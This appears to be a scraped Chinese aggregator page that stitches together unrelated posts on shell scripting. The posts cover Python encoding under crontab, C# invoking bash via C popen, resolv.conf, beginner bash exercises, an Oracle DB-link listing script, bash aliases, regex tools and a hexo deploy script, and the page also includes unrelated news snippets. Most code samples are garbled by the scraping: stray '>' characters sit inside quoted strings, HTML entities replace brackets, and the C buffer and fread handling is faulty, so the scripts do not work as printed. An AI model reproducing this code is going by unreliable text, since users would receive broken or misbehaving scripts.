我写的Python程序中输出了一些中文(编码是utf-8),在shell中直接执行没有问题,但是crontab执行时出现了UnicodeEncodeError的错误,Google了一下发现这个问题不仅仅是在crontab中会出现,在使用管道或者重定向的时候都会出现这个问题,原因是编码不同。

在终端中直接执行Python程序时,Python会将输出内容自动编码为终端所使用的编码,我使用的终端编码是utf-8,所以不会出错,输出的内容也是正常的。但是在使用管道或者重定向时,编码格式为ascii,Python会用ascii编码格式去encode输出的字符串,但是字符串的编码使用的时utf-8,所以会出现UnicodeEncodeError的错误。

解决方法:

方法一:在程序中输出的字符串都加上 encode(‘utf-8’)

方法二:在crontab中加上 PYTHONIOENCODING=utf-8,将Python的 stdout/stderr/stdin编码设置为utf-8。

原文:http://segmentfault.com/a/1190000002724336

shell: 使用C#给Linux写Shell脚本(下篇)

在上篇的《 使用C#给Linux写Shell脚本》结尾中,我们留下了一个关于C#如何调用BashShell的问题。在文章发布之后,我留意到有读者留言推荐使用“Pash”(一款类PowerShell的东西),在我下载并安装了该项目之后,尝试之下发现这仍然不是我们想要的。似乎C#还真的没有提供这种(输出重定向)功能,这也迫使我们采取了其他方式来实现。在本篇中,我们将提升“恫吓”等级并顺带把这个难题一并解决,各位看官请系好安全带。

shell: 使用C#给Linux写Shell脚本(下篇)
shell: 使用C#给Linux写Shell脚本(下篇)

本篇中,我们将介绍:

(1)、C#直接调用BashShell所遭遇的问题

(2)、使用C的popen方式调用BashShell

(3)、通过调用C来间接的调用BashShell

一、C#直接调用BashShell所产生的问题

使用C#调其他应用,毫无疑问最直接的方法就是“System.Diagnostics”中的Process.Start了。但当我们使用Process.Start时,却发现连最简单的命令都无法调用,更无从谈起调用并接受返回了。

shell: 使用C#给Linux写Shell脚本(下篇)
shell: 使用C#给Linux写Shell脚本(下篇)

上图为其中一种错误(当然还会有更多的问题出现,这里就不列举了)。

二、使用C的popen方式调用

正由于Process.Start无法直接调用BashShell的命令,我们需要绕道而行。

我们先看下C语言,C语言调用Shell的方式有多种,我们选择了popen函数的方式进行调用,先看一下以下的这个demo:

#include<stdio.h>
int  main(){
	FILE  *fp;
	 char  buffer[255 ];
	fp =popen(" ls /home/le >" ," r >" );
	fread(buffer, 255 ,255 ,fp);
	pclose(fp);
	printf( " %s >" ,buffer);
}
 
shell: 使用C#给Linux写Shell脚本(下篇)
shell: 使用C#给Linux写Shell脚本(下篇)

通过poepn管道并完成输出重定向。

三、通过调用C来间接调用Shell

既然C已经可以实现对BashShell的调用已经管道重定向,那我们则可以再通过C#调用C的方式,进而间接的完成对BashShell的调用。

我们先对自己的C函数进行改造,改造后的代码如下(对具体操作有疑问的读者可参见《 如何让C为C#提供函数》):

#include<stdio.h>
#include <string .h>
void * ConvertToCStr(char * input,char * res,int  *length){
	 int  i;
	 for (i=0 ;i<*length;i++){
		res&#91;i&#93; =*(input+2 *i);
	}
	res&#91;i&#93; ='  ' ;
}
 void * BashHelper(char * cmdStr,int * cmdLength,char * output,int * length){
	FILE * fp;
	 char  buffer&#91;*length&#93;;
	 char  cmd&#91;*cmdLength+1 &#93;;
	ConvertToCStr(cmdStr,cmd,cmdLength);
	fp =popen(cmd," r >" );
	fread(buffer, *length,*length,fp);
	pclose(fp);
	strcat(output,buffer);
}
 

同样的我们也把C# Shell进行改造(没有Intellisense果然难写,我先在控制台写好再拷贝过来)

#!/bin/env csharp
 using  System.Diagnostics;
 using  System.IO;
 using  System.Runtime.InteropServices;
 class  Clib
{
	 public  static  string  InvokeBash(string  cmdStr)
	{
		 char [] output = new  char [255 ];
		 unsafe
		{
			 fixed  (char * c = cmdStr)
			 fixed  (char * op = output)
			{
				 int  cmdLenth = cmdStr.Length;
				 int  outputLength = output.Length;
				Clib.BashHelper(c,  &cmdLenth, op, &outputLength);
				 return  Marshal.PtrToStringAnsi((IntPtr)op);
			}
		}
	}
	[DllImport( " /你存放so的地址/shell.so >" , CallingConvention = CallingConvention.StdCall)]
	 static  unsafe  extern  void  BashHelper(char * cmdStr, int * cmdLength, char * output, int * length);
}
 var  cmdStr = " /bin/ls / >" ;
 var  output = Clib.InvokeBash(cmdStr);
Console.Write(output);
 

完成之后,我们再次在Shell中调用。

shell: 使用C#给Linux写Shell脚本(下篇)
shell: 使用C#给Linux写Shell脚本(下篇)

成功执行BashShell命令并把返回输出重定向到C#中。

可能有读者会有这么一个疑问:“这跟直接写BashShell没啥差别啊?!”此言差矣,C#有C#的优势,Bash有Bash的优势,将两者结合起来后,可以形成互补,利用Bash可以快速的操作Linux,而一些Bash无法提供的功能,譬如写入数据库、调用某些服务的API、做其他BashShell无法做的事情等。

好的,本篇就写这么多了,非C内行,文中可能有不科学之处,仅提供思路,勿拍砖哈。谢谢。

原文地址:http://jhonge.net/Home/Single2/1938

原文:http://www.cnblogs.com/xiaodiejinghong/p/4475066.html

shell: /etc/resolv.conf 档案自动复原问题

相关 [etc resolv.conf 档案] 推荐:

/etc/resolv.conf 档案自动复原问题

– – Linux – 操作系统 – ITeye博客

主机使用 DHCP 取得 IP ,当我改过 /etc/resolv.conf 之后,隔不多久这个档案又会恢复成原本的样子,这是什么原因. 因为使用 DHCP 时,系统会主动的使用 DHCP 服务器传来的数据进行系统配置文件的修订. 因此,你必须告知系统,不要使用 DHCP 传来的服务器设定值. 此时,你得要在 /etc/sysconfig/network-scripts/ifcfg-eth0 等相关档案内,增加一行:『PEERDNS=no』,然后重新启动网络即可. 已有 0 人发表留言,猛击->> 这里<<-参与讨论. —软件人才免语言低担保 赴美带薪读研.

修改resolv.conf应对DNS污染

– – 〖好记性不如烂笔头─My Note〗

测试于 OpenSuse 13.1,Xfce.

Linux 之 /etc/profile、~/.bash_profile 等几个文件的执行过程

– – 学习笔记

在登录Linux时要执行文件的过程如下:. 在刚登录Linux时,首先启动 /etc/profile 文件,然后再启动用户目录下的 ~/.bash_profile、 ~/.bash_login或 ~/.profile文件中的其中一个,. 执行的顺序为:~/.bash_profile、 ~/.bash_login、 ~/.profile. 如果 ~/.bash_profile文件存在的话,一般还会执行 ~/.bashrc文件. 因为在 ~/.bash_profile文件中一般会有下面的代码:. ~/.bashrc中,一般还会有以下代码:. 所以,~/.bashrc会调用 /etc/bashrc文件.

Icons Etc 提供超過12萬個免費圖示,可打包下載

– Aaron Xu – 免費資源網路社群

Icons Etc 提供十二萬多個免費圖示供使用者免費下載使用,適用於網頁設計、應用程式設計、平面設計或多種用途. 使用者可以直接點擊網站上方的選單來瀏覽所有圖示、最新圖示或是透過標籤找到自己想要的圖案,亦有圖示分類可以使用. 網站名稱:Icons Etc. 網站鏈結:http://icons.mysitemyway.com/. Icons Etc 提供標籤搜尋圖示的方式,右側邊欄也有分類可以尋找圖示. 在圖示集頁面點擊 Click Here to Download … 鏈結可以一次下載整套圖示集,如果要單獨下載某個圖示,直接點擊該圖示進入頁面就可以另存圖片囉. 您或許對這些文章有興趣: Icons Etc 超過12萬個高品質圖示免費下載.

14省份高速公路ETC将于今年底实现联网收费

– – 雷锋网

交通部日前发布消息称,北京、天津、河北等14个省份将于今年底实现高速公路ETC(电子不停车收费)联网收费,联网区域内实行“一车一卡一标签”. 2010年,京津冀率先实现ETC联网;2012年8月,长三角5省1市实现联网;2013年,京津冀在联网的基础上,与山东和山西实现了5省份联网;目前,华东、华北在各自区域内也已实现了内部联网,但这些区域相互之间并不联网. 不过,到今年底,这一现象将会改变,14个省份将实现联网. 而到2015年底,高速公路将基本实现与全国其他省份ETC联网.

CBI绝密档案·自选集

– sean – 坏脾气的小肥

2001年5月到2003年2月,我在《电脑商情报-游戏天地》做编辑,写“CBI绝密档案”这一档卷首的编辑部故事,大概写了80期,每期平均1500字吧. 本周还有老读者在微博上跟我留言,说记得我写的第一期内容,和最后一期内容是什么,感动吖……这样跟我讲的老读者,前前后后有上百个. 回家翻了翻旧稿,以前编辑的每一期报纸稿件我都还留着,每一期报纸我也留着. 从天而至,闪烁着神性的光辉,纯银就这样降临了游戏天地编辑部. 雪白的双翼展开,翅上的银铃轻振清响. ”纯银露出神性的微笑,眼瞳清澈如水,那是一种宗教的,近乎于圣灵的关爱. ”纯银微笑着询问,高贵而从容,眼角眉梢都是优雅. 某编不知所措地仰望纯银,他的翅膀卡在两条日光灯管之间,动弹不得,只能孤零零地悬挂在半空中,荡来晃去,像钟摆一样有节奏地前后摇动.

7步启用Facebook新版个人档案的方法

– gnawux – 36氪

这次Facebook f8大会上最主要的事情就是关于时间线 – 重新设计的个人档案页面. 我们报道了时间线的推出、新版个人档案页面图片欣赏以及时间线诞生背后的故事. 那么重点来了,现在要如何启用新版个人档案页面. 事先有一点小提示,现在的测试版本来只是给开发者测试,所以普通用户启用后可能会遇到一些bugs. 如果你不介意,下面是启用方法:. 2、开启开发者模式:在搜索框里搜索developer,第一个结果就是了. 3、自动跳转到the developer app,如果没有自动跳转可以手动. 4、新建一个app,给它命个名字. 5、确保你在新建的App设置页面,应该能够在页面顶部看到app的名字.

互联网档案馆默认启用HTTPS

– – Solidot

非盈利组织互联网档案馆宣布,它的两大网站archive.org和openlibrary.org将默认启用HTTPS建立加密连接. 但网站的部分内容仍然支持通过HTTP访问,如网站历史存档Wayback Machine(时光机器). HTTPS可以防止第三方监视用户浏览的内容. 互联网档案馆同时宣布,它的日均访问量突破了300万人次. 它的时光机器存档了超过3600亿个网页.

焦国标: 东德的秘密警察档案是怎样保留下来的?

– 强 – 纵览中国-China In Perspective

这一切的到来,对于每个东德人来说都感到太突然. 1989年11月9日,似乎固若金汤、千年不倒的柏林墙竟然倒掉了,东德秘密警察的存在随之进入倒计时. 11月17日,东德国安部紧急改组,22日决定销毁总部和地方各局的秘密档案. 这个极权国家压迫人民40年的罪恶记录,旦夕之间就可能被毁掉. 就在这历史的紧要关头,上帝使用了一次在我心目中平庸无奇的爱尔福特人.

Twitter 再添新功能,在个人档案页面直接给对方留言

– Aim – 36氪

昨天 Twitter 推出新功能,让你可以实时关注朋友动态,今天它又推出一个新新功能,功能虽不大,但是却非常有用:个人档案页面的留言墙. 就像在上个月时我们说的,这个新功能让用户一打开别人页面就知道如何留言,减少了使用成本. 现在这个功能已经正式推出,似乎 Followers 少的用户将能够首先体验到这个功能(我的 2 个帐号就只有小号能体验). 这个功能对用户来说很直接,纳闷为什么 Twitter 直到现在才推出. 现在在用户的个人档案页面你将能够直接发消息给对方,不用回到主页输入他的 ID 或者通过回复他的某一条推. 在留言框里会有提示“Tweet to @uername”,当你点击输入框时,这几个字将会变成 @USERNAME ,接着在后面输入留言信息就可以.

原文:http://itindex.net/detail/53367-etc-resolv.conf-档案

shell: DBA需要掌握的shell知识

每个中高级DBA都需要掌握一些简单脚本的编写,这样才能从繁杂重复的基础维护工作中解脱出来,才能有时间去研究更有价值的技术。VBird在讲shell script的时候,给出了几个经典的小范例练习,对于初学shell的人来说是很好的入门,现就根据VBird给出的几个典型练习进行近一步的系统整理,总结出bash shell的系统知识,希望能给各位读者起到抛砖引玉的作用。

1.顺序执行

2.分支判断

3.循环结构

4.巩固练习

reference

1.顺序执行

练习1:用户选择输入Y/N,不区分大小写,根据用户输入屏幕打印不同内容。

考查:read,[],exit 0,&&,echo

#!/bin/bash
#Usage: user input a charector, program shows the different result.
#Author: Alfred Zhao
#Creation: 2015-05-06
#Version: 1.0.0
#1.Input 'Y' or 'N'
read -p "Input (Y/N)>" input
[ "$input>" == "Y>" -o "$input>" == "y>" ] && echo -e "you choice is: $inputn>" && exit 0
[ "$input>" == "N>" -o "$input>" == "n>" ] && echo -e "you choice is: $inputn>" && exit 0
echo -e "I don't know what your choice is>" && exit 0 

2.分支判断

两种常用的分支判断:if…else…fi分支判断,case…esac分支判断。

练习2:将练习1中的代码改写为if分支判断,使程序的执行逻辑更直观。

考查:==,||

if[]; then

elif[]; then

else

fi

#!/bin/bash
#Usage: user input a charector, program shows the different result.
#Author: Alfred Zhao
#Creation: 2015-05-06
#Version: 1.0.1
#1.Input 'Y' or 'N'
read -p "Input (y/n)>" input
if [ "$input>" == "Y>" ] || [ "$input>" == "y>" ]; then
	echo -e "you choice is: $inputn>"
	exit 0
elif [ "$input>" == "N>" ] || [ "$input>" == "n>" ]; then
	echo -e "you choice is: $inputn>"
	exit 0
else
	echo -e "I don't know what you choice is.n>"
	exit 0
fi 

练习3:用分支判断来辨别参数1的输入是否合法。

考查:$0,$1

#!/bin/bash
#Usage: To judge $1's identity. Aha, Only Alfred is ok.
#Author: Alfred Zhao
#Creation: 2015-05-07
#Version: 1.0.0
if [ "$1>" == "Alfred>" ]; then
	echo -e "Authorization Successful! n>"
	exit 0
elif [ "$1>" == ">" ]; then
	echo -e "Waring: Authorization is null! ex> {$0 Username}n>"
	exit 0
else
	echo -e "Waring: Only Alfred can be authorized. ex> {$0 Alfred}n>"
	exit 0
fi 

练习4:用case判断改写练习3.

考查:case…esac判断

#!/bin/bash
#Usage: To judge $1's identity. Aha, Only Alfred is ok.
#Author: Alfred Zhao
#Creation: 2015-05-07
#Version: 1.0.1
case "$1>" in
	"Alfred>")
		echo -e "Authorization Successful! n>"
		;;
	">")
		echo -e "Waring: Authorization is null! ex> {$0 Username}n>"
		;;
	*)
		echo -e "Waring: Only Alfred can be authorized. ex> {$0 Alfred}n>"
		;;
esac 

3.循环结构

while do done, until do done(不定循环)

练习5:输入名字直到输入的名字是“Alfred”为止。

考查:while do done

#!/bin/bash
#Usage: Input the name until it is "Alfred>".
#Author: Alfred Zhao
#Creation: 2015-05-07
#Version: 1.0.0
while [ "$name>" != "Alfred>" ]
do
        read -p "Please Input your name: >" name
done
echo -e "nWelcome, My friend, Alfred.n>" 

而如果是使用until do done,

只需要修改 while [ “$name>” != “Alfred>” ]until [ “$name>” == “Alfred>” ]

练习6:计算1+2+3+…+num的结果

考察:正则

#!/bin/bash
#Usage: Calculate the result "1+2+...+num>".
#Author: Alfred Zhao
#Creation: 2015-05-07
#Version: 1.0.0
i=0 #i
s=0 #sum
echo -e "This program will help you calculate the result of '1+2+...+num'n>"
read -p "Please input your num: >" num
if [ "$(echo >"$num"|grep '[0-9]'|grep -v '[:alpha:]')>" == ">" ]; then
	echo -e "Waring: Please input a number.n>"
	exit 1
elif [ "$num>" -lt "1>" ]; then
	echo -e "Waring: Not support.n>"
elif [ "$num>" == "1>" ]; then
	echo -e "1=1n>"
	exit 0
elif [ "$num>" == "2>" ]; then
	echo -e "1+2=3n>"
	exit 0
elif [ "$num>" == "3>" ]; then
	echo -e "1+2+3=6n>"
	exit 0
else
	while [ "$i>" != "$num>" ]
	do
		i=$(($i+1))
		s=$(($s+$i))
	done
	echo -e "n1+2+...+$num= $sn>"
	exit 0
fi
 

for do done(固定循环)

for do done 第一种用法示例:

练习7:循环输出变量who的内容

#!/bin/bash
#Usage: for do done
#Author: Alfred Zhao
#Creation: 2015-05-07
#Version: 1.0.0
for who in mum dad brother sister
do
        echo -e "This is my ${who}.n>"
done 

for do done 第二种用法示例:

练习8:计算1+2+..+100的值

#!/bin/bash
#Usage: 1+2+...+100
#Author: Alfred Zhao
#Creation: 2015-05-07
#Version: 1.0.0
sum=0
for ((i=1; i<=100; i=i+1))
do
        sum=$(($sum+$i))
done
echo -e "The result is $sum.n>" 

4.巩固练习

1.用分支判断哪些数据库默认端口在运行.

提示:不同数据库的默认监听端口不同

Oracle数据库判断 netstat -tuln |grep “:1521 >”是否有结果;

Mysql数据库判断 netstat -tuln |grep “:3306 >”是否有结果;

IEE数据库判断 netstat -tuln |grep “:5029 >”是否有结果;

Vertica数据库判断 netstat -tuln |grep “:5433 >”是否有结果.

2.输入毕业日期,计算当前离毕业还有多少天。

提示:将时间换算成秒,相减后换算成天数。

day1=$(date –date=”20150507>” +%s)day2=$(date –date=”20160630>” +%s)days=$((($day2-$day1)/3600/24))

3.检查Linux系统所有用户的标识符与特殊参数

提示: cut -d ‘:’ -f1 /etc/passwd

4.检查192.168.1.1~192.168.1.100的主机网络情况

提示: for site in $(seq 1 100)

reference

《鸟哥的Linux私房菜》

原文:http://www.cnblogs.com/jyzhao/p/4485553.html

shell: Shell: how to list all db links in oracle DB to generate a flat file (生成dblink列表文件)

如果数据库里有上百个DATABASE LINK, 而且同时要管理几十套这样的数据库,在日后改数据库用户密码时就要格外注意是否有DB LINK在使用,否则只改了LOCAL DB 的用户密码,没有级连修改REMOTE DB 的Database Link 密码,造成访问DB LINK时出错,现在去统计所有DB Link 是件很费时间的事。

自己整理了个简单的SHELL 去收集LOCAL 的所有DB LINKS,功能是如果DB LINK创建使用的是简单方式(没有配置TNSNAMES.ORA)直接取IP:PORT, 或如果使用TNSNAME Alias Name调用TNSPING 转换成IP, 同时还会判断tnsping ip port 里否通?

— I hope it’s useful

#
# file : dl.sh
# author: weejar (anbob.com)
# desc: tend to collect all DB links
# call: sh dl.sh
# date: 2015-5-5
# hp-ux , aix have tested.
# version: 0.2
# 0.1 to tnsping ip
# 0.2 to add isvalid flag
. ~/.profile
# temp file of db_link list
FILE_DBLINK=dl`hostname`_`date +%Y%m%d`.txt
# the result file
FILE_DBLINK1=2.txt
sqlplus -s / as sysdba << ! |sed  '/^$/d'  > $FILE_DBLINK
set timing off time off
set feed off
set lines 200  pages 1000
col owner for a20
col db_link for a40
col HOST for a20
col created for a10
set heading off
SELECT owner,
		 db_link,
		 username,
		 CASE
			 WHEN INSTR (UPPER (HOST), 'DESCRIPTION') > 1
			 THEN
					REGEXP_SUBSTR (
						 UPPER (
							 REGEXP_SUBSTR (
								 UPPER (HOST),
								 'HOST[^=]*=[^0-9]*[0-9]+.[0-9]+.[0-9]+.[0-9]+')),
						 '[0-9]+.[0-9]+.[0-9]+.[0-9]+')
				 ||':'|| REGEXP_SUBSTR (
						 UPPER (
							 REGEXP_SUBSTR (UPPER (HOST), 'PORT[^=]*=[^0-9]*[0-9]+')),
						 '[0-9]+')
			 ELSE
				  host
		 END as host
		 ,TO_CHAR (created, 'yyyymmdd') created
  FROM dba_db_links;
!
while read line
do
# TNS=`echo "$line>"|awk '$4 !~ /:/ && NF==5 {print $4}'`
TNS=`echo "$line>"|awk 'NF==5 {print $4}'`
echo "to convert tnsnames alias $TNS to IP...>"
# linux
# IPS=`tnsping $TNS|grep "DESCRIPT>"|grep -o '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}'|tr "\n>" ",>"`
# HP unix
	TNSTR=`tnsping $TNS|tail -n 2`
	IPS=`echo $TNSTR|grep "DESCRIPT>"|sed -e 's/.*HOST *= *//' -e 's/ *).*//'|tr "\n>" ",>"`
	ISOK=`echo $TNSTR|tail -n 1|grep "OK>"|wc -l`
	if [ -z "$IPS>" ]; then
		IPS=N/A
	fi
	if [ 1 -eq "$ISOK>" ]; then
	 # awk '{if ($1 ~ /^all/) print $0, "anotherthing>"; else print $0}'
	 # linux
	 # sed -i "/$line/ s/$/t valid/>" $FILE_DBLINK
	 ISVALID=YES
	else
	  ISVALID=N/A
	fi
	echo "$line t $IPS t $ISVALID>" >>$FILE_DBLINK1
done < $FILE_DBLINK
echo "RESULT FILE NAME: $FILE_DBLINK1>"
echo "================== if had errors to contact weejar@gmail.com  ========================>"
echo "done.>"
 

原文:http://www.anbob.com/archives/2565.html

shell: 高效Linux bash快捷键及alias总结

bash快捷键

习惯使用编辑的快捷键可以大大提高效率,记忆学习过程要有意识的忽略功能键、方向键和数字小键盘。以下快捷键适用在bash处于默认的Emacs模式下。如果你有 set -o vi,就处于 vi 模式就不适用了。

另外下面的内容并不包含所有快捷键,只是我个人适用频率最高的几种,但相信已经可以大大提高工作效率了:

  • Ctrl + l:清除屏幕,同clear
  • Ctrl + a:将光标定位到命令的开头
  • Ctrl + e:与上一个快捷键相反,将光标定位到命令的结尾
  • Ctrl + u:剪切光标之前的内容,在输错命令或密码
  • Ctrl + k:与上一个快捷键相反,剪切光标之后的内容
  • Ctrl + y:粘贴以上两个快捷键所剪切的内容。Alt+y粘贴更早的内容
  • Ctrl + w:删除光标左边的参数(选项)或内容(实际是以空格为单位向前剪切一个word)
  • Ctrl + /:撤销,同Ctrl+x u

  • Ctrl + f:按字符前移(右向),同→

  • Ctrl + b:按字符后移(左向),同←
  • Alt + f:按单词前移,标点等特殊字符与空格一样分隔单词(右向),同Ctrl+→
  • Alt + b:按单词后移(左向),同Ctrl+←
  • Alt + d:从光标处删除至字尾。可以Ctrl+y粘贴回来
  • Alt + :删除当前光标前面所有的空白字符
  • Ctrl + d:删除光标处的字符,同Del键。没有命令是表示注销用户
  • Ctrl + h:删除光标前的字符

  • Ctrl + r:逆向搜索命令历史,比history好用

  • Ctrl + g:从历史搜索模式退出,同ESC
  • Ctrl + p:历史中的上一条命令,同↑
  • Ctrl + n:历史中的下一条命令,同↓
  • Alt + .:同!$,输出上一个命令的最后一个参数(选项or单词)。
    >
    还有如Alt+0 Alt+. Alt+.,表示输出上上一条命令的的第一个单词(即命令)。
    另外有一种写法 :n,表示上一命令的第n个参数,如你刚备份一个配置文件,马上编辑它: cp nginx.conf nginx.confvi :1,同 vi !^!^表示命令的第一个参数, !$最后一个参数(一般是使用 Alt + .代替)。

注意上述所有涉及Alt键的实际是Meta键,在xshell中默认是没有勾选“Use Alt key as Meta key”,要充分体验这些键带来的快捷,请在对应的terminal设置。

参考: 高效操作Bash
Bash (Unix shell) Keyboard shortcuts

常用alias

以下bash中别名设置我还并没有完全使用,也是个人觉得非常有用的(多了记起来也麻烦),所以收集在一起,习惯就好。

/etc/profile.d/alias.sh

alias wl='ll | wc -l'
alias grep='grep -i –color' #用颜色标识,更醒目;忽略大小写
alias vi=vim
alias l=ll
# 进入目录并列出文件
cdl() { cd "$@>" && pwd ; ls -al; }
alias ..="cdl ..>"
alias ...="cd ../..>"   # 快速进入上上层目录
alias .3="cd ../../..>"
alias cd..='cdl ..'
# alias cp="cp -iv>"      # interactive, verbose
alias rm="rm -i>"      # interactive
# alias mv="mv -iv>"       # interactive, verbose
alias psg='ps aux | grep -v grep | grep -i --color' # 查看进程信息
alias hg='history|grep'
alias c='clear'  # 快速清屏
alias netp='netstat -tulanp'  # 查看服务器端口连接信息
alias lvim="vim -c >"normal '0">"  # 编辑vim最近打开的文件
alias tf='tail -f '  # 快速查看文件末尾输出
# 自动在文件末尾加上 .bak-日期 来备份文件,如 bu nginx.conf
bak() { cp "$@>" "$@.bak>"-`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@>"; }
# 级联创建目录并进入,如 mcd a/b/c
mcd() { mkdir -p $1 && cd $1 && pwd ; }
# 查看去掉#注释和空行的配置文件,如 nocomm /etc/squid/squid.conf
alias nocomm='grep -Ev '''^(#|$)''''
# 快速根据进程号pid杀死进程,如 psid tomcat, 然后 kill9 两个tab键提示要kill的进程号
alias kill9='kill -9';
psid() {
  [[ ! -n ${1} ]] && return;   # bail if no argument
  pro="[${1:0:1}]${1:1}>";      # process-name –> [p]rocess-name (makes grep better)
  ps axo pid,user,command | grep -v grep |grep -i --color ${pro};   # show matching processes
  pids="$(ps axo pid,user,command | grep -v grep | grep -i ${pro} | awk '{print $1}')>";   # get pids
  complete -W "${pids}>" kill9     # make a completion list for kk
}
# 解压所有归档文件工具
function extract {
 if [ -z "$1>" ]; then
    # display usage if no parameters given
    echo "Usage: extract <path/file_name>.<zip|rar|bz2|gz|tar|tbz2|tgz|Z|7z|xz|ex|tar.bz2|tar.gz|tar.xz>>"
 else
    if [ -f $1 ] ; then
        # NAME=${1%.*}
        # mkdir $NAME && cd $NAME
        case $1 in
          *.tar.bz2)   tar xvjf ../$1    ;;
          *.tar.gz)    tar xvzf ../$1    ;;
          *.tar.xz)    tar xvJf ../$1    ;;
          *.lzma)      unlzma ../$1      ;;
          *.bz2)       bunzip2 ../$1     ;;
          *.rar)       unrar x -ad ../$1 ;;
          *.gz)        gunzip ../$1      ;;
          *.tar)       tar xvf ../$1     ;;
          *.tbz2)      tar xvjf ../$1    ;;
          *.tgz)       tar xvzf ../$1    ;;
          *.zip)       unzip ../$1       ;;
          *.Z)         uncompress ../$1  ;;
          *.7z)        7z x ../$1        ;;
          *.xz)        unxz ../$1        ;;
          *.exe)       cabextract ../$1  ;;
          *)           echo "extract: '$1' - unknown archive method>" ;;
        esac
    else
        echo "$1 - file does not exist>"
    fi
fi
}
# 其它你自己的命令
alias nginxreload='sudo /usr/local/nginx/sbin/nginx -s reload'
 

要去掉别名,请用 unalias aliasname,或者 临时
执行不用别名,执行原始命令 alias

参考: 30 Handy Bash Shell Aliases For Linux

原文链接地址: http://seanlook.com/2014/03/09/linux-bash/

原文:http://segmentfault.com/a/1190000002760973

shell: 任督二脉之Shell中的正则表达式

VBird说学习Linux,掌握了Shell和正则就相当于打通了任督二脉,此后能力的成长才会突飞猛进。

Shell的基础学习之前已经总结了一篇博客: http://www.cnblogs.com/jyzhao/p/4485553.html

本文将总结Shell中的正则表达式及常用的字符处理命令,为打通任督二脉奠定基础^_^。

  1. 基础正则表达式举例说明
  2. 字符截取命令

    • cut命令
    • awk命令
    • sed命令
  3. 字符处理命令

    • sort命令
    • wc命令

1. 基础正则表达式举例说明

*, ., , ^word, word$, [list], [^list], [n1-n2], {n}, {n,m}

例1:简易判断日期格式

比如:2015-05-11,只是简单判断数字的格式。

^[0-9]{4}-[0-9]{2}-[0-9]{2}$

例2:简易判断IP地址格式

比如:192.168.1.100,只是简单判断数字的格式。

[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}

例3:找出1.txt文本文件中以字母开头的以及不是以字母开头的行。

以字母开头的行:

grep –color=auto “^[a-z,A-Z]>” 1.txt

不是以字母开头的行:

grep –color=auto “^[^a-z,A-Z]>” 1.txt

2. 字符截取命令

cut命令

用途:对于分隔符规范的文本进行特定截取某些列,特点是简单易用。

例4:cut截取出用户名以及对应的uid,gid,过滤掉包含’/sbin’的行。

grep -v “/sbin>” /etc/passwd | cut -f 1,3,4 -d “:>”

截取结果示例:

root:0:0
oracle:500:500
grid:501:500

awk命令

用途:对于分隔符不规范的文本进行截取,特点是功能强大,语法比cut命令复杂。

awk '条件类型1{动作1}条件类型2{动作2} ...' filename
  1. awk的内置变量:

    NF 每一行($0)拥有的字段总数
    NR 目前awk所处理的是“第几行”数据
    FS 目前的分隔字符,默认是空格键 
  2. awk的逻辑运算符:

    >, <, >=, <=, ==, !=

例5:查询pmon进程的PID。

ps -ef | grep pmon | grep -v grep | awk ‘{print $2}’

例6:打印出/etc/passwd中uid<3的用户和他们的uid。

cat /etc/passwd | awk ‘BEGIN{FS=”:>”} $3 < 3 {print $1 “t>” $3}’

注:注意BEGIN在这里的用途,没有BEGIN第一行显示会不正确。

例7:截取出系统根目录的磁盘空间使用率

df -h | awk ‘{print $5}’|cut -f 1 -d “%>”

sed命令

sed可以将数据进行替换、删除、新增、选取特定行。

-n 只有经过sed处理的才显示(默认显示全部)
-e 直接在命令行模式上进行sed的动作编辑
-f 将sed的动作写入一个文件,然后-f filename执行filename中的sed命令
-r 支持扩展型正则表达式语法(默认是基础正则表达式语法)
-i 直接修改读取的文件内容,而不是默认的屏幕输出结果 

例8:显示行号并打印出/etc/hosts,删除文件的前两行。

nl /etc/hosts | sed ‘1,2d’

例9:把/etc/hosts文件中的JY-DB全部替换为Alfred-DB显示出来

sed -e ‘s/JY-DB/Alfred-DB/g’ /etc/hosts

注:此处不写 -e参数也可以,如果两个及以上sed命令需要每个前面都写 -e参数。

例10:直接修改/etc/hosts文件,在文件的第2行下插入新的一行“192.168.1.100 JY-DB”

sed -i ‘2a 192.168.1.100 JY-DB’ /etc/hosts

3. 字符处理命令

sort命令

用途:对结果进行排序显示。

du -sk * | sort -rnsort -t “:>” -k “3,3>” /etc/passwdsort -n -t “:>” -k “3,3>” /etc/passwd

wc命令

用途:统计结果行,单词,字符的数量。

统计行 wc -l

例11:统计oracle的用户进程数

ps -ef | grep LOCAL=NO | grep -v grep | wc -l

统计单词 wc -w

例12:统计/etc/issue文件的单词数

wc -w /etc/issue

统计字符 wc -m

例13:统计/etc/issue文件的字符数

wc -m /etc/issue

原文:http://www.cnblogs.com/jyzhao/p/4496084.html

shell: 使用 shell 脚本将博客同时提交至 github 和 gitcafe

由于 github 的访问速度比较慢,所以也选择了跟很多同学一样,选择了同时将 blog 部署至 github 和 gitcafe。

因此在写完博客之后需要执行 hexo d命令,将博客分别提交至 github 和 gitcafe,怎么去方便快速的提交?后面给出一个解决方法,另外也会给出一个快速创建 blog 并打开该 md 文件的方法!

这里的前提是已经搭建好自己的博客,并会使用命令进行博客的创建、提交等等。。

下面进入正题

同时提交至 github 与 gitcafe

  • 这里假设你的博客根目录为 hexo,先确保该目录下的
    _config.yml
    文件的最后一行的内容为
    type: git

    这里贴出最后几行的内容:

    #  Docs:  http: //hexo.io/docs/deployment.html
    deploy:
      type:  git
     

    这里我没将 github 或者 gitcafe 的地址配进去,而是放在了后面的 shell 脚本当中

  • 我的 gitcafe 仓库:

    repo:  https: //gitcafe.com/xuxu1988/xuxu1988.git
    branch:  gitcafe-pages
     

    github 仓库:

    repo:  https: //github.com/gb112211/gb112211.github.io.git
    branch:  master
     
  • 正常配置是将上面的仓库地址配在
    type: git
    的后面,这样才能提交,很笨的方法是先配置 github 的地址,提交后再将地址替换为 gitcafe的,接在再提交,相当于提交 2 次,可以想象,相当的累人

  • 笨方法虽然手工的去执行,会很麻烦,但业务逻辑确实是如此,接下来通过 shell 脚本完成该功能,那么提交起来就相当的方便而且快速,这里直接将脚本 commit.sh 贴出(用的 Mac 环境):

    #!/bin/sh
    hexo g
    #提交至 gitcafe
    #先将gitcafe 的地址追加到 _config.yml  的末尾,注意空格
    echo "  repo: https://gitcafe.com/xuxu1988/xuxu1988.git>"  >> _config.yml
    echo "  branch: gitcafe-pages>"  >> _config.yml
    #提交
    hexo d
    #删除gitcafe配置
